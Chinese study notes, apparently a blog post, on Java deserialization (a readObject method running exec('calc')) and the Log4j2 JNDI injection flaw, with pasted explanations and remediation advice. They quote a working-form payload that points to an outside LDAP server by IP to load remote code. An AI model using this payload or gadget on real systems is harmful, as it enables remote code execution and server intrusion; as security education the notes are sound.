.7.768383

序列化写入重写方法,反序列化的时候执行这个。

反序列化的时候会执行动作,序列化是不执行。

调用数据执行。

核心答案:所有相关执行动作(包括恶意命令、属性赋值),都是在「反序列化时」才触发执行,"一开始"(类加载、序列化阶段)完全不执行------"一开始"只做"准备工作",不触发实际执行逻辑,具体拆解如下:

一、"一开始"(类加载、序列化阶段):只准备,不执行

  1. 类加载时:仅加载类的结构(比如 readObject 方法的代码、成员变量定义),但不会执行任何实例相关的逻辑(比如 readObject 里的 exec("calc") 、成员变量赋值)。

就像把"游戏机"(类)从仓库拿出来摆好,但没按任何按键,游戏(执行逻辑)完全不启动。

  1. 序列化时:仅把对象的"属性值"(比如 name="test" )存成字节流,不执行对象的任何方法(包括 readObject ),也不触发任何赋值动作。

就像给游戏存档(只存等级、装备,不触发游戏里的技能、剧情)。

二、"反序列化时":才是真正的"执行触发点"

只有当JVM开始反序列化(读取序列化字节流、恢复对象)时,所有相关执行动作才会启动:

  1. 先创建一个空的对象实例(不调用构造方法);

  2. 从序列化数据中读取属性值,赋值给空对象(执行"属性恢复"的赋值);

  3. 若类重写了 readObject ,则自动触发该方法,里面的所有逻辑(包括 exec("calc") 、自定义赋值)都会在这个阶段执行。

比如之前的弹计算器: Runtime.getRuntime().exec("calc") 写在 readObject 里,"一开始"(类加载、序列化)时完全不执行,只有当别人把序列化的对象数据传给服务器,服务器执行反序列化时,这个命令才会被触发。

需要我帮你写一个带执行时机打印的完整代码,运行后能清晰看到"类加载、序列化、反序列化"三个阶段的日志,直观证明"只有反序列化时才执行"吗?

妈的,打了一遍,大概知道他的意思了。

调用的方法括号里面的是来自哪里。

这张图片展示的是Log4j2 JNDI注入漏洞的演示代码与攻击原理讲解,核心是通过Log4j的日志输出功能传递恶意Payload,触发JNDI注入攻击,我分点拆解关键信息:

一、代码核心逻辑

java

String code = req.getParameter("code"); // 获取前端传入的参数

log.error("{}", code); // 用Log4j输出日志,将参数带入日志模板

这段代码的风险点在于:直接将用户可控的参数 code 传入Log4j的日志输出方法,而Log4j2存在 ${} 插值解析漏洞,会解析其中的JNDI协议链接,进而执行恶意代码。

二、关键Payload解析

图片中注释的 ${jndi:ldap://47.94.236.117:1389/uyhyw6} 是典型的JNDI注入Payload,各部分作用:

  1. ${jndi:...} :Log4j2的插值语法,会触发JNDI服务的查找操作;

  2. ldap:// :JNDI支持的协议之一,用于从远程服务器获取对象;

  3. 47.94.236.117:1389 :攻击者搭建的LDAP恶意服务器地址和端口;

  4. uyhyw6 :恶意服务器上的恶意类标识,LDAP服务器会返回该标识对应的恶意类地址,目标服务器加载后执行恶意代码(如图片中提到的 calc 打开计算器)。

三、攻击的三个核心条件(图片注释总结)

  1. 引入漏洞组件:项目中使用了存在JNDI注入漏洞的Log4j2版本(如2.0-beta9至2.14.1);

  2. 触发漏洞代码:开发中使用Log4j的日志输出方法(如 log.error/log.info )处理用户输入;

  3. 可控变量传Payload:攻击者通过前端参数、接口请求等方式,将恶意JNDI Payload传入日志输出的变量中。

四、漏洞的危害与防护

  1. 危害:攻击者可通过该漏洞执行任意系统命令、加载恶意类,实现服务器入侵、数据窃取等;

  2. 核心防护手段:

  • 升级Log4j2到安全版本(如2.17.0及以上);

  • 禁用Log4j2的JNDI插值功能(设置系统属性 log4j2.formatMsgNoLookups=true );

  • 过滤用户输入中的 ${} 、 jndi: 等危险字符。

要不要我帮你整理一份Log4j2 JNDI注入漏洞的防护步骤清单,让你能按步骤加固项目?

搜索协议,远程加载。

执行结果。

执行点。

默认路径。

相关推荐
Blossom.1183 天前
AI编译器实战:从零手写算子融合与自动调度系统
人工智能·python·深度学习·机器学习·flask·transformer·tornado
Cherry的跨界思维22 天前
8、Python正则表达式精准搜索实战:从模糊匹配到精准定位
开发语言·python·正则表达式·django·flask·pygame·tornado
4***997423 天前
工业网关助力Altivar320与S7-1200协同运行
ide·python·算法·spring·eclipse·sqlite·tornado
sz老兄闯1 个月前
清结算系统事件化实战:高并发、高可用架构解析
python·plotly·django·flask·scikit-learn·pygame·tornado
生而为虫1 个月前
31.Python语言进阶
python·scrapy·django·flask·fastapi·pygame·tornado
生而为虫1 个月前
30.正则表达式的应用
python·正则表达式·django·flask·fastapi·tornado
Warren981 个月前
软件测试常见面试题
linux·python·django·flask·virtualenv·pygame·tornado
SkylerHu2 个月前
tornado+gunicorn部署设置max_body_size
python·tornado·gunicorn
Blossom.1182 个月前
大模型在边缘计算中的部署挑战与优化策略
人工智能·python·算法·机器学习·边缘计算·pygame·tornado